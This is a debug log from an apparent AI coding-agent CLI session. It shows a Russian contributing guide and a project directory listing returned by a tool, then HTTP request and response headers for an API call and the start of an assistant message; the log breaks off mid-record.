\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u043c\u0430\u043b\u044b\u0439 \u0440\u0430\u0437\u043c\u0435\u0440 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432,\\ntraceability \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u0434\u043b\u044f hybrid human + AI work.\\n\\n## Workflow\\n\\n1. \u041d\u0430\u0447\u0438\u043d\u0430\u0439\u0442\u0435 \u0441 GitHub issue, \u0433\u0434\u0435 \u0435\u0441\u0442\u044c context, scope, \u044f\u0437\u044b\u043a \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430,\\n   acceptance criteria \u0438 forbidden changes.\\n2. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0435\u0434\u0438\u043d\u044b\u0439 5-\u0431\u043b\u043e\u0447\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d\\n   [.github/ISSUE_TEMPLATE/task.md](.github/ISSUE_TEMPLATE/task.md) \u0438\u043b\u0438\\n   GitHub-native \u0444\u043e\u0440\u043c\u0443 [.github/ISSUE_TEMPLATE/task.yml](.github/ISSUE_TEMPLATE/task.yml):\\n   \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442, \u0426\u0435\u043b\u044c, SSOT, \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0437\u0430\u0434\u0430\u0447\u0438, \u0413\u043e\u0442\u043e\u0432\u043e \u043a\u043e\u0433\u0434\u0430.\\n3. \u0420\u0435\u0436\u0438\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u0437\u0430\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u043e\u043b\u0435\u043c `Operating Mode`\\n   (`Structured` / `Creative` / `Hybrid`), \u0430 \u043d\u0435 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c. \u0412 Creative\\n   \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0439\u0442\u0435 \u0446\u0435\u043b\u044c, constraints \u0438 Definition of Done, \u043d\u0435 \u043f\u0440\u0435\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044e\\n   \u043b\u0438\u0448\u043d\u0438\u0435 \u0448\u0430\u0433\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438.\\n4. \u0412\u044b\u0431\u0438\u0440\u0430\u0439\u0442\u0435 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u043e\\n   [ops/repo-model.md](ops/repo-model.md),\\n   [docs/rfc/knowledge-lifecycle-proposal.md](docs/rfc/knowledge-lifecycle-proposal.md) \u0438\\n   [docs/rfc/resolve-artifact-location-proposal.md](docs/rfc/resolve-artifact-location-proposal.md),\\n   \u0435\u0441\u043b\u0438 \u043c\u0435\u0441\u0442\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043d\u0435 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u043e.\\n5. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0438\u0437 [standards/README.md](standards/README.md).\\n6. \u0414\u0435\u0440\u0436\u0438\u0442\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 reviewable: \u043e\u0434\u043d\u0430 \u0446\u0435\u043b\u044c, \u043f\u043e\u043d\u044f\u0442\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438, \u0431\u0435\u0437 unrelated\\n   restructuring.\\n7. \u041e\u0431\u043d\u043e\u0432\u043b\u044f\u0439\u0442\u0435 \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044e, changelog \u0438 artifact map, \u0435\u0441\u043b\u0438 \u043d\u043e\u0432\u044b\u0439 active artifact\\n   \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f.\\n8. \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0439\u0442\u0435 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0435\u0440\u0435\u0434 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c PR.\\n\\n## AI-Assisted Work\\n\\n\u0418\u0418-\u0430\u0433\u0435\u043d\u0442 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0433\u043e\\n[`/AGENTS.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/AGENTS.md).\\n\u041e\u043d \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u043a \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u043d\u044b\u043c governance, rules \u0438 standards; \u044d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\\n\u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c workflow \u0432\u043a\u043b\u0430\u0434\u0430 \u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u043a\u0443\u0440\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u0430.\\n\\n### \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0430\u0432\u0442\u043e-\u0437\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u041c\u0435\u0442\u0430\\n\\n\u0410\u0432\u0442\u043e\u0440 \u0437\u0430\u0434\u0430\u0447\u0438 \u043c\u043e\u0436\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0446\u0435\u043b\u044c \u0438 Operating Mode. AI-\u0430\u0433\u0435\u043d\u0442 \u043e\u0431\u044f\u0437\u0430\u043d\\n\u0434\u043e\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0443\u044e \u041c\u0435\u0442\u0430 \u0438\u0437 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432:\\n\\nOperating Mode \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0440\u0435\u0433\u0443\u043b\u0438\u0440\u0443\u0435\u0442 \u0448\u0438\u0440\u0438\u043d\u0443 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u043e\\n[\u041f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 3 ADR-010](docs/adr/2026-08-adr-010-agent-autonomy-principles.md):\\n`Structured`, `Creative` \u0438 `Hybrid` \u043d\u0435 \u043c\u0435\u043d\u044f\u044e\u0442 \u0446\u0435\u043b\u044c \u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u044b.\\n\\n| \u0427\u0442\u043e \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 | \u041a\u0430\u043a \u0434\u043e\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f |\\n| --- | --- |\\n| Target artifact | \u041f\u043e `ops/artifact-map.md`, `ops/repo-model.md` \u0438 resolver prompt. |\\n| Lifecycle stage | \u041f\u043e `docs/rfc/knowledge-lifecycle-proposal.md`; \u0441\u043e\u043c\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a gap. |\\n| L1-L4 link | Product docs \u0434\u0430\u044e\u0442 L1-L2, governance/standards/templates \u0434\u0430\u044e\u0442 L3-L4. |\\n| Validation | \u041c\u0438\u043d\u0438\u043c\u0443\u043c: frontmatter, structure validator, manifest check when templates changed. |\\n\\n\u042f\u0432\u043d\u0430\u044f \u041c\u0435\u0442\u0430 \u0432 issue \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043d\u0430\u0440\u0443\u0448\u0430\u0435\u0442 hard rules. \u0415\u0441\u043b\u0438\\nprojects/ba-ai-process:\\nREADME.md\\nba-meta-model\\nbuild\\ndecisions\\ndist\\ndocs\\nexperiments\\nmeta-model-guides\\ntests\\n\\nprojects/ba-ai-process/docs:\\nadr\\nanalysis\\nrfc\\n\\nprojects/ba-ai-process/docs/adr:\\n2026-09-adr-018-gigacode-cli-execution-boundary.md\\n2026-09-adr-019-cline-mango-ai-pilot.md\\n\\nprojects/ba-ai-process/docs/analysis:\\n2026-09-23-bcreq-golden-forms-and-feasibility.md\\n2026-09-23-requirements-run-forensics.md\\n2026-09-24-architecture-convergence-and-readiness.md\\n2026-09-29-ba-ai-process-runtime-options.md\\n2026-09-29-cline-package-expectation-gap.md\\n\\nprojects/ba-ai-process/docs/rfc:\\n2026-09-bcreq-abstraction-and-product-routing.md\\n2026-09-bcreq-working-release-pipeline.md\\n2026-09-mango-ba-ai-runtime-cli-deployment.md\\n2026-09-source-pilot-verification.md\\nREADME.md\\nai-education\\nba-requirements\\ncicd\\neducation\\nexternal-knowledge\\ngovernance\\nhub\\nmango\\nopen-ai-ru\\nreputation-technologies\",\n[2026-09-29T07:43:45.993Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:43:45.993Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:43:45.993Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:43:45.993Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:43:45.993Z] [INFO]   }\n[2026-09-29T07:43:45.993Z] [INFO] }\n[2026-09-29T07:43:46.039Z] [STDOUT] [log_f9d5da] sending request {\n[2026-09-29T07:43:46.044Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:43:46.048Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:46.053Z] [STDOUT]   options: {\n[2026-09-29T07:43:46.057Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:43:46.062Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:43:46.071Z] [STDOUT]     body: {\n[2026-09-29T07:43:46.076Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:43:46.079Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:43:46.082Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:43:46.086Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:43:46.091Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:43:46.095Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:43:46.098Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:43:46.100Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:43:46.103Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:43:46.106Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:43:46.109Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:43:46.115Z] [STDOUT]       stream: true,\n[2026-09-29T07:43:46.119Z] [STDOUT]     },\n[2026-09-29T07:43:46.125Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:43:46.130Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:43:46.134Z] [STDOUT]       aborted: false,\n[2026-09-29T07:43:46.138Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:43:46.143Z] [STDOUT]       onabort: null,\n[2026-09-29T07:43:46.146Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:43:46.149Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:43:46.152Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:43:46.156Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:43:46.159Z] [STDOUT]     },\n[2026-09-29T07:43:46.165Z] [STDOUT]     stream: true,\n[2026-09-29T07:43:46.168Z] [STDOUT]   },\n[2026-09-29T07:43:46.172Z] [STDOUT]   headers: {\n[2026-09-29T07:43:46.175Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:43:46.179Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:43:46.183Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:43:46.185Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:43:46.191Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:43:46.196Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:43:46.200Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:43:46.203Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:43:46.208Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:43:46.211Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1137\",\n[2026-09-29T07:43:46.217Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:43:46.221Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:43:46.225Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:46.230Z] [STDOUT]     \"x-client-request-id\": \"7d0d5b6a-f33f-4e7a-a840-4d6a90861830\",\n[2026-09-29T07:43:46.234Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:43:46.238Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:43:46.243Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:43:46.246Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:43:46.250Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:43:46.254Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:43:46.256Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:43:46.259Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:43:46.263Z] [STDOUT]   },\n[2026-09-29T07:43:46.267Z] [STDOUT] }\n[2026-09-29T07:43:47.058Z] [STDOUT] [log_f9d5da, request-id: \"req_011CfXMdUgTLDxX71cerjtAr\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1029ms\n[2026-09-29T07:43:47.061Z] [STDOUT] [log_f9d5da] response start {\n[2026-09-29T07:43:47.064Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:47.068Z] [STDOUT]   status: 200,\n[2026-09-29T07:43:47.071Z] [STDOUT]   headers: {\n[2026-09-29T07:43:47.075Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:43:47.079Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:43:47.084Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:43:47.087Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:43:47.091Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:43:47.093Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:43:47.097Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:43:47.100Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:43:47.103Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:43:47.108Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:43:47.112Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:43:47.116Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:43:47.121Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:43:47.128Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:43:47.133Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:43:47.138Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:43:47.143Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:43:47.148Z] [STDOUT]     \"cf-ray\": \"a4295bd8bc1b4d8b-FRA\",\n[2026-09-29T07:43:47.154Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:43:47.158Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:43:47.162Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:43:47.164Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:43:47.167Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:43:47 GMT\",\n[2026-09-29T07:43:47.171Z] [STDOUT]     \"request-id\": \"req_011CfXMdUgTLDxX71cerjtAr\",\n[2026-09-29T07:43:47.174Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:43:47.178Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:43:47.181Z] [STDOUT]     traceresponse: \"00-b6d0d3469c532620a6750f253089bced-e79ae217c901972c-01\",\n[2026-09-29T07:43:47.186Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:43:47.189Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:43:47.193Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:43:47.196Z] [STDOUT]   },\n[2026-09-29T07:43:47.199Z] [STDOUT]   durationMs: 1029,\n[2026-09-29T07:43:47.202Z] [STDOUT] }\n[2026-09-29T07:43:47.205Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:43:47.207Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:43:47 GMT\",\n[2026-09-29T07:43:47.209Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:43:47.211Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:43:47.214Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:43:47.217Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:43:47.223Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:43:47.226Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:43:47.231Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:43:47.233Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:43:47.235Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:43:47.240Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:43:47.242Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:43:47.248Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:43:47.252Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:43:47.255Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:43:47.258Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:43:47.260Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:43:47.262Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:43:47.265Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:43:47.268Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:43:47.272Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:43:47.275Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:43:47.278Z] [STDOUT]   \"request-id\": \"req_011CfXMdUgTLDxX71cerjtAr\",\n[2026-09-29T07:43:47.281Z] [STDOUT]   \"traceresponse\": \"00-b6d0d3469c532620a6750f253089bced-e79ae217c901972c-01\",\n[2026-09-29T07:43:47.285Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:43:47.289Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:43:47.292Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:43:47.296Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:43:47.298Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:43:47.300Z] [STDOUT]   \"cf-ray\": \"a4295bd8bc1b4d8b-FRA\",\n[2026-09-29T07:43:47.303Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:43:47.307Z] [STDOUT] [log_f9d5da] response parsed {\n[2026-09-29T07:43:47.310Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:47.312Z] [STDOUT]   status: 200,\n[2026-09-29T07:43:47.315Z] [STDOUT]   body: X {\n[2026-09-29T07:43:47.318Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:43:47.321Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:43:47.326Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:43:47.329Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:43:47.333Z] [STDOUT]     },\n[2026-09-29T07:43:47.339Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:43:47.344Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:43:47.347Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:43:47.350Z] [STDOUT]   },\n[2026-09-29T07:43:47.352Z] [STDOUT]   durationMs: 1031,\n[2026-09-29T07:43:47.354Z] [STDOUT] }\n[2026-09-29T07:43:47.546Z] [INFO] {\n[2026-09-29T07:43:47.546Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:43:47.546Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:43:47.546Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:43:47.546Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:43:47.546Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:47.546Z] [INFO]   \"uuid\": \"3ec54c0a-c5d8-4249-8ca7-0c51607540f3\"\n[2026-09-29T07:43:47.546Z] [INFO] }\n[2026-09-29T07:43:48.700Z] [INFO] {\n[2026-09-29T07:43:48.700Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:43:48.700Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:43:48.700Z] [INFO]   \"estimated_tokens\": 241,\n[2026-09-29T07:43:48.700Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:43:48.700Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:48.700Z] [INFO]   \"uuid\": \"30575a1c-7406-412c-a103-eb038c017816\"\n[2026-09-29T07:43:48.700Z] [INFO] }\n[2026-09-29T07:43:48.705Z] [INFO] {\n[2026-09-29T07:43:48.705Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:43:48.705Z] [INFO]   \"message\": {\n[2026-09-29T07:43:48.705Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:43:48.705Z] [INFO]     \"id\": \"msg_011CfXMdVAV7ofkKrynAv1hQ\",\n[2026-09-29T07:43:48.705Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:43:48.705Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:43:48.705Z] [INFO]     \"content\": [\n[2026-09-29T07:43:48.705Z] [INFO]       {\n[2026-09-29T07:43:48.705Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:43:48.705Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:43:48.705Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:43:48.705Z] [INFO]     ],\n[2026-09-29T07:43:48.705Z] [INFO]     \"container\": null,\n[2026-09-29T07:43:48.705Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:43:48.705Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:43:48.705Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:43:48.705Z] [INFO]     \"usage\": {\n[2026-09-29T07:43:48.705Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:43:48.705Z] [INFO]       \"cache_creation_input_tokens\": 7092,\n[2026-09-29T07:43:48.705Z] [INFO]       \"cache_read_input_tokens\": 21963,\n[2026-09-29T07:43:48.705Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:43:48.705Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:43:48.705Z] [INFO]         \"ephemeral_1h_input_tokens\": 7092\n[2026-09-29T07:43:48.705Z] [INFO]       },\n[2026-09-29T07:43:48.705Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:43:48.705Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:43:48.705Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:43:48.705Z] [INFO]     },\n[2026-09-29T07:43:48.705Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:43:48.705Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:43:48.705Z] [INFO]     \"context_management\": null\n[2026-09-29T07:43:48.705Z] [INFO]   },\n[2026-09-29T07:43:48.705Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:43:48.705Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:48.705Z] [INFO]   \"uuid\": \"478352ba-d950-4c78-aa9d-22c86965ff12\",\n[2026-09-29T07:43:48.705Z] [INFO]   \"timestamp\": \"2026-09-29T07:43:48.698Z\",\n[2026-09-29T07:43:48.705Z] [INFO]   